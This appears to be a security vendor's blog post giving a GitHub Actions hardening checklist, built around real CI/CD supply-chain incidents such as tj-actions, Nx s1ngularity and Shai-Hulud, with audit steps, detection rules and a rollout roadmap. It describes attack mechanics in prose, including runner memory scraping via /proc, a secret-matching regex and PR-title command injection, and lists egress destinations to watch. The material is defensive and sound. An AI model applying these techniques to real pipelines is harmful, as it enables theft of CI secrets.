CVE-2025-30066 (GHSA-mrrh-fwg8-r2c3)

tj-actions/changed-files (v1 through v45.0.7)

Action source compromise + secrets exfiltration

Compromised PAT on @tj-actions-bot retroactively repointed every tag to malicious commit 0e58ed8. Payload dumped Runner.Worker process memory via /proc/[pid]/mem, extracted secrets, base64-encoded twice into logs. Over 23,000 repositories affected. CVSS 8.6. CISA KEV. Patched in v46.0.1.

Mar 11, 2025

CVE-2025-30154 (GHSA-qmg3-hpqr-gqvc)

reviewdog/action-setup@v1 and 5 downstream reviewdog actions

Action source compromise

Compromise window 18:42 to 20:31 UTC on March 11; malicious payload base64-encoded into install.sh. Compromised before tj-actions; tj-actions/eslint-changed-files used reviewdog/action-setup transitively, likely the pivot point. CVSS 8.6. Patched same day.

May 14, 2024

CVE-2024-32002 (GHSA-8h77-4q3w-gfgv)

Git (before 2.45.1)

RCE via submodule symlink

Cloning a malicious repository with submodules wrote files into .git/ and executed hooks. Affects actions/checkout and any clone-and-build GitHub Actions workflow until Git is patched. CVSS 9.0.

Aug 26, 2025

Nx s1ngularity GHSA-cxm3-wv7p-598c

nx and several Nx plugins on npm

Script injection via pull_request_target

PR-title command injection plus pull_request_target permissions allowed attacker to mint Nx npm publish token in a 4-hour window. Leaked 2,349 distinct secrets across 190+ orgs, 3,000+ repositories. Malicious post-install payload exfiltrated to attacker-named s1ngularity-repository per victim org.

Sep 14-15, 2025

Shai-Hulud npm worm (CISA alert AA25-266A)

500+ npm packages

Self-replicating supply-chain worm

First publicly documented self-replicating npm worm. Uses TruffleHog to scan victim env for npm tokens, GitHub PATs, cloud keys; auto-publishes malicious versions of every package the victim's tokens can write to. Registers victim hosts as rogue GitHub Actions self-hosted runners named "SHA1HULUD". CISA published alert Sep 23, 2025.

Nov 24, 2025

Shai-Hulud 2.0

796 unique npm packages

Self-replicating worm + AI-tool reconnaissance

Second wave of Shai-Hulud. Expanded backdoor and remote-access capability. Used compromised GitHub auth tokens to register self-hosted Actions runners on victim hosts.

Chart Ghactions Named Cves

Figure 4: Seven verified GitHub Actions and CI/CD supply-chain incidents on a single twelve-month timeline. Color groups: red = action-source compromise; orange = script injection through workflow triggers; teal = self-replicating worm; navy = clone-time RCE. Sources: nvd.nist.gov, github.com/advisories, cisa.gov.

How to test your GitHub Actions setup

A defensible internal audit follows a repeatable sequence. The OWASP CI/CD Top 10 provides the threat-class baseline; NIST SP 800-204D ("Strategies for Securing CI/CD Pipelines") provides the control-mapping baseline; the OpenSSF Scorecard checks provide the automation hook.

  1. Inventory. List every workflow in the org. gh api graphql can pull repository.defaultBranchRef.target.history(path: ".github/workflows") across all repos; the github-actions-supply-chain-audit examples cover the queries.

  2. Pinning audit. Grep every uses: reference. Tags and branches are violations; SHAs are passes. Run pin-github-action in dry-run mode against every workflow.

  3. Permissions audit. Grep for workflows missing a top-level permissions: block. Default to read-only is the target. The Scorecard Token-Permissions check automates this.

  4. Trigger audit. Grep for pull_request_target and workflow_run in public-repo workflows. Each occurrence requires explicit justification and a sandboxing review.

  5. Untrusted-input audit. Grep run: blocks for ${{ github.event.*.title }}, ${{ github.event.*.body }}, ${{ github.head_ref }}, and ${{ github.event.inputs.* }} directly interpolated. Replace with the env-binding pattern in Control 9.

  6. Secrets audit. Walk Settings → Secrets and variables → Actions for every repo. For each secret, document the owning workflow, last-used timestamp, and rotation cadence. Migrate any cloud-provider long-lived credential to OIDC.

  7. Runner audit. List every self-hosted runner under Settings → Actions → Runners at the org level. For each, confirm it is private-repo only, ephemeral (JIT), and on a documented egress allowlist.

  8. Branch protection audit. Verify branch protection on main for every repo: signed commits, required reviews, CODEOWNERS for .github/workflows/, status checks required.

  9. Scorecard + Harden-Runner audit. Confirm both are enabled on every workflow. Review Harden-Runner audit logs for unexpected egress over the last 30 days.

  10. Tabletop. Pick one of the named incidents (tj-actions, Nx s1ngularity, Shai-Hulud) and walk the controls that would have blocked it in your environment. Record the gaps and add them to the implementation roadmap.

Detection signals: what to monitor in 2026

Five high-signal detection sources cover the GitHub Actions threat surface:

  • GitHub audit logs. Stream the org audit log to your SIEM. Watch for org.update_actions_secret, repo.add_self_hosted_runner, protected_branch.dismiss_stale_reviews, and git.clone events from unexpected actors. The Shai-Hulud worm registered self-hosted runners named "SHA1HULUD"; an audit-log alert on repo.add_self_hosted_runner outside business hours would have triggered.

  • Harden-Runner egress logs. Stream Harden-Runner's audit output to your SIEM. Any new egress destination is a high-confidence anomaly. The tj-actions detection lived here.

  • GitHub Security Advisory feed. Subscribe to the GHSA feed for the actions and packages you depend on. Filter by security advisories of ecosystem actions. Add a paging alert for any CRITICAL severity advisory against a SHA you currently pin.

  • CISA Known Exploited Vulnerabilities Catalog. Subscribe to the KEV feed. CISA added CVE-2025-30066 to KEV in March 2025; KEV-listed CVEs are FCEB-mandated for federal remediation but are a useful private-sector priority signal too.

  • Dependabot alerts. Treat any Dependabot alert against a GitHub Action as a P1. The alert tells you the action's name and the version range affected; combined with a quick gh search code across your repos, you can locate every consumer in minutes.

Beyond the signals, two behavioral anomalies are worth a dedicated rule:

  • Workflow YAML modifications outside business hours by a non-platform contributor. Combine with CODEOWNERS to make this almost impossible accidentally; combine with the GitHub audit log to alert when it happens anyway.

  • First-time egress from a runner. Harden-Runner's allowlist plus a SIEM rule that fires on any new destination, especially gist.githubusercontent.com, raw.githubusercontent.com, paste*, or IP-literal HTTPS.

Implementation roadmap: this sprint, this quarter, this year

A 25-control list is hard to land in one push. The Stingrai roadmap clusters the controls by impact-to-effort ratio so a security team can land the most critical 12 in the first two sprints, then expand.

Chart Ghactions Implementation Roadmap

Figure 5: A three-band roadmap that fits in two sprints, then one quarter, then the rest of the year. The high-impact one-sprint band is anchored on the controls that would have blocked tj-actions, reviewdog, Ultralytics, Nx s1ngularity, and Shai-Hulud.

This sprint (Controls 1, 7, 8, 9, 11, 13, 14, 19, 21, 23, 24, 25)

The 12 controls that block every named incident in this post. None require new vendor procurement; all are GitHub-native or one open-source action away.

  1. Pin every third-party action to a commit SHA.

  2. Add top-level permissions: contents: read to every workflow.

  3. Remove pull_request_target from every public-repo workflow (or accept the trust-boundary review).

  4. Refactor every run: block that uses ${{ github.event.* }} to use an env: binding.

  5. Audit actions/checkout ref usage on pull_request_target workflows.

  6. Migrate at least one cloud-provider deployment to OIDC.

  7. Move production deploy credentials into a GitHub Environment with required reviewers.

  8. Disable self-hosted runners on every public repo.

  9. Install Harden-Runner on every workflow (audit mode).

  10. Add .github/workflows/ to CODEOWNERS.

  11. Enable signed commits + required reviews + Code-Owners review on main.

  12. Disable "Actions can approve PRs" + enable Dependabot version and security updates.

This quarter (Controls 2, 3, 4, 5, 15, 16, 17, 18, 20)

The next 9 controls land in the following 8 to 10 weeks. These tighten the perimeter and reduce drift.

  1. Allowlist GitHub Marketplace actions at the org level.

  2. Enable OpenSSF Scorecard on every repo.

  3. Adopt the third-party action vetting checklist.

  4. Prefer first-party actions for high-risk steps.

  5. Refactor every ${{ secrets.* }} reference into env:.

  6. Enable secret scanning + push protection org-wide.

  7. Add add-mask:: for every derived secret.

  8. Run a quarterly secret audit and rotation cycle.

  9. Migrate self-hosted runners to JIT (where self-hosted is still needed).

This year (Controls 6, 10, 12, 22)

The final 4 controls require either a vendor decision (sigstore tooling), a workflow refactor (artifact-extraction hygiene), or a cultural rollout. Land them within the calendar year.

  1. Adopt sigstore signature verification for artifacts in workflows.

  2. Audit $GITHUB_ENV and $GITHUB_PATH writes; gate behind allowlists.

  3. Refactor artifact uploads to use scoped paths, not the whole workspace.

  4. Promote Harden-Runner from audit to block mode with a curated allowlist.

What this means for security buyers and CISOs

Three practical implications for any team running GitHub Actions in production.

  1. GitHub Actions security is a continuous-validation problem, not an annual audit. The named CVEs in 2024 and 2025 (Ultralytics, tj-actions, reviewdog, Nx s1ngularity, Shai-Hulud) all had public exposure windows measured in hours to days. A team that ran an annual CI/CD audit in February 2025 would have been exposed to every March 2025 incident. Stingrai's PTaaS engagement folds GitHub Actions controls into a continuous-validation cadence, with quarterly retest of the controls and a Slack alert if a previously-passing check regresses.

  2. The supply-chain attack surface is wider than your package.json. Sonatype's 2026 report counts more than 1.233 million cumulative malicious packages across the major registries. Every GitHub Actions workflow that runs npm install pulls thousands of transitive dependencies into a privileged runner. The defender's job is to compress the time-to-detect, not to enumerate every package. Stingrai's supply chain attack statistics post tracks the named-incident timeline and breaks down the major-incident ratios across npm, PyPI, Maven Central, and GitHub Actions.

  3. Compliance posture and CI/CD hardening overlap. SOC 2 CC7.1 (change management), ISO 27001 A.8.25 (secure development life cycle), PCI DSS 4.0 6.4.2 (CI/CD), NIST SSDF PW.4 (verify third-party software), and NIS2 Article 21 (supply-chain risk management) all require controls that map cleanly to the 25 in this post. Stingrai's compliance and audit-readiness work maps GitHub Actions controls into the relevant frameworks so a SOC 2 audit walks the same evidence list as the platform team's own hardening backlog. Stingrai's vulnerability statistics 2026 and compromised credential statistics 2026 posts collect the macro-data that makes the case to executive sponsors.

GitHub Actions is now the dominant CI/CD platform. The protocol's design choices that make it powerful (pull-based execution, marketplace actions, default-permissive triggers in some contexts) are exactly what make it a supply-chain attack surface. The 25 controls in this checklist are not exotic. They are layered, free, GitHub-native or one open-source action away, and anchored on incidents that already happened in 2024 and 2025. The defender's task is laborious in execution and simple in shape: pin everything, scope everything, audit everything, and ship the controls before the next March 2025 hits.

Frequently Asked Questions

What is the most important GitHub Actions security control in 2026?

Pin every third-party action to a full commit SHA, not a tag. The tj-actions/changed-files compromise (CVE-2025-30066) in March 2025 showed how a single PAT compromise on the upstream action repo can repoint every tag (v1 through v45.0.7) to a malicious commit in a 24-hour window. SHA pins are immutable; tag pins are not. Combine SHA pinning with Dependabot version updates so the SHA stays current as upstream releases ship. Tools like pin-github-action, renovate-bot, and Dependabot keep these pins automated.

What was the tj-actions/changed-files compromise?

CVE-2025-30066, GHSA-mrrh-fwg8-r2c3, CVSS 8.6 (HIGH), CISA Known Exploited Vulnerabilities. On March 14 to 15, 2025, an attacker with a compromised personal access token on the @tj-actions-bot account repointed every version tag of the tj-actions/changed-files GitHub Action from v1 through v45.0.7 to a single malicious commit (0e58ed8). The payload downloaded a Python memory-dumping script from gist.githubusercontent.com, walked the GitHub Actions Runner.Worker process memory via /proc/[pid]/maps and /proc/[pid]/mem, extracted CI/CD secrets matching the pattern "[^"]+":{"value":"[^"]*","isSecret":true}, base64-encoded the extracted secrets twice, and printed them to workflow logs. More than 23,000 repositories were affected. StepSecurity's Harden-Runner detected the anomalous egress in real time on March 14, 2025 around 5:00 PM UTC, which is how the broader security community had a name for the incident inside hours. Patched in v46.0.1. The same threat actor likely also compromised reviewdog/action-setup CVE-2025-30154 upstream.

What is the Shai-Hulud npm worm?

The Shai-Hulud worm is the first publicly documented self-replicating npm worm, first identified on September 14 to 15, 2025 and the subject of a CISA alert on September 23, 2025. The worm is delivered as an infected npm package's post-install hook. Once executed, it uses TruffleHog to scan the victim's filesystem and environment for high-entropy secrets (npm tokens, GitHub PATs, cloud-provider API keys, SSH keys, crypto-wallet data). With those tokens, it automatically publishes malicious versions of every package the victim has write access to, spreading the worm across the npm ecosystem. It also registers victim hosts as rogue GitHub Actions self-hosted runners named "SHA1HULUD" and creates public exfiltration repositories on victim GitHub accounts. The first wave affected 500+ packages. By November 24, 2025 a second wave (Shai-Hulud 2.0) had backdoored 796 unique npm packages and expanded the payload's reach to remote-access capability.

What is the Nx s1ngularity attack?

The Nx s1ngularity attack of August 26, 2025 exploited an unsanitized pull-request title plus a pull_request_target trigger in the Nx repo to mint the Nx npm publishing token. The attacker submitted a fork PR with command-injection metacharacters in the PR title; the upstream workflow interpolated the title directly into a run: step; the runner executed the attacker's code with the upstream's privileged token. In a 4-hour window the attacker published malicious versions of the nx package and several Nx plugins to npm. The malicious post-install payload harvested developer secrets and exfiltrated them to a public repository named s1ngularity-repository in each victim's own GitHub account. Per Hacker News reporting, 2,349 distinct secrets leaked across 190+ organizations and 3,000+ repositories. Controls 8 (no pull_request_target in public repos) and 9 (env-binding for untrusted input) would have blocked the attack.

Should we use self-hosted GitHub Actions runners?

GitHub's official guidance is explicit: "Self-hosted runners should almost never be used for public repositories." A fork-PR contributor can submit code that compromises a persistent self-hosted runner, and a compromised runner gives the attacker access to every later job's secrets and GITHUB_TOKEN. If your team must run self-hosted (for special hardware, regulated environments, or internal-network access), restrict self-hosted runners to private repos only, use just-in-time (ephemeral) runners that auto-destroy after one job, and install Harden-Runner for egress audit. Use GitHub-hosted runners for any repo that accepts external pull requests.

How does OIDC for GitHub Actions work?

GitHub OIDC lets a workflow request a short-lived JSON Web Token signed by GitHub's OIDC provider, present that token to a cloud provider (AWS, Azure, GCP, HashiCorp Vault), and receive a short-lived cloud access token in return, without storing any long-lived cloud credential as a GitHub secret. The workflow declares permissions: id-token: write to be allowed to mint the JWT. The cloud provider's trust policy validates claims in the JWT, including the GitHub org, repo, branch, and environment the workflow runs from. A trust policy can pin the sub claim to repo:stingrai/api:environment:production:ref:refs/heads/main, so only production deploys from main can mint a production token. A compromised PR build cannot mint production credentials because the sub claim does not match. OIDC is the recommended replacement for AWS_ACCESS_KEY_ID-style long-lived secrets, Azure service-principal client secrets, and GCP service-account JSON keys.

What does pull_request_target do, and why is it dangerous?

pull_request_target is a GitHub Actions trigger that runs a workflow in the upstream repo's context (with upstream secrets and write-scope GITHUB_TOKEN), but is fired by a pull request from a fork. It exists for legitimate reasons (writing comments back to PRs, running CI on fork contributions with upstream credentials), but the trust boundary it crosses is exactly what makes it a supply-chain attack surface. The fork author controls the PR title, body, branch name, and committed code. Any workflow that interpolates github.event.pull_request.title, github.head_ref, or the PR's body into a run: block, or that checks out github.event.pull_request.head.sha and then runs npm install, lets the fork attacker execute arbitrary code with upstream privileges. The Ultralytics PyPI and Nx s1ngularity incidents both exploited this pattern. The safest answer is to not use pull_request_target in public repos.

What is StepSecurity Harden-Runner?

StepSecurity Harden-Runner is an open-source GitHub Action that turns the runner into an audited sandbox. It monitors outbound network connections (with destination domain and process name), file writes to persistent paths, and tamper attempts on the runner binary itself. In audit mode it logs all activity; in block mode it enforces an egress allowlist and blocks any unexpected connection. The action detected the tj-actions/changed-files compromise in real time on March 14, 2025 by flagging the anomalous egress to gist.githubusercontent.com. Stingrai recommends installing Harden-Runner on every workflow in audit mode in week 1, then upgrading to block mode with a curated allowlist by week 3.

How do we audit a GitHub org for supply-chain risk?

A defensible internal audit follows ten steps: (1) inventory every workflow across every repo via the GitHub GraphQL API; (2) pinning audit (grep every uses: for tag pins); (3) permissions audit (grep workflows missing top-level permissions:); (4) trigger audit (find pull_request_target and workflow_run in public repos); (5) untrusted-input audit (grep run: for direct ${{ github.event.*.title }} etc.); (6) secrets audit (walk every Settings -> Secrets and variables -> Actions per repo); (7) runner audit (list every self-hosted runner); (8) branch protection audit (signed commits + required reviews + CODEOWNERS on .github/workflows/); (9) Scorecard + Harden-Runner audit; (10) tabletop a named incident (tj-actions, Nx s1ngularity, Shai-Hulud) against your environment. Stingrai's PTaaS and web application penetration testing services map each step to evidence and produce a remediation roadmap.

Who is responsible for GitHub Actions security: platform engineering, security, or DevSecOps?

All three, with platform engineering owning the implementation and security owning the controls catalog. The pattern that works in practice: security owns the catalog (this 25-control list, or a tailored version), platform engineering owns the org-level GitHub settings (allowlist, default permissions, branch-protection templates) and the shared workflow library, and individual repo owners own the per-repo compliance with the catalog. CODEOWNERS on .github/workflows/ is the governance lever: platform and security review every workflow change. For organizations without a platform team, a security engineer plus an executive-sponsored backlog can land the top-12 controls in two sprints; the rest of the catalog follows in the quarter.

References

The full reference list for this checklist, in publication order:

Stingrai is a Toronto-headquartered offensive-security firm founded in 2021. The team has 18 published CVEs (Ivan Spiridonov 10, Moaaz Taha 5, Victor Villar 3), 5.0/5.0 across 19 Clutch reviews, and team certifications spanning OSCE3, OSCP, OSWE, OSED, OSEP, CREST CRT, CISSP, CRTO, GCPN, CRTE, and eWPTX. Snipe, Stingrai's internal AI pentest agent, is trained on more than 6,000 HackerOne disclosures. We align engagements to SOC 2, ISO 27001, HIPAA, PCI DSS 4.0, NIST SP 800-53/171, DORA, and NIS2, and we present research at DEFCON and BSIDES. For continuous CI/CD validation against the controls above, our PTaaS engagement pairs Snipe with senior pentesters on quarterly retest cadence.

16 views

1

X

Related reading

Ultimate Guide to Adversarial Inputs in LLMs
Web App SecurityNetwork Security

Ultimate Guide to Adversarial Inputs in LLMs

Explore the risks posed by adversarial inputs like prompt injection in large language models and discover effective strategies to safeguard against them.

10 min read

Supabase: Powerful, but One Misconfiguration Away From Disaster
Network SecurityWeb App Security

Supabase: Powerful, but One Misconfiguration Away From Disaster

A deep dive into Supabase's critical security flaw: how exposed Anon keys can lead to data disaster. Learn why Row Level Security (RLS) is essential.

8 min read

PCI-DSS Audit Process: Best Practices
Web App SecurityNetwork Security

PCI-DSS Audit Process: Best Practices

Learn best practices for navigating the PCI-DSS audit process, from scope definition to remediation, ensuring ongoing compliance and data security.

8 min read

Contents

X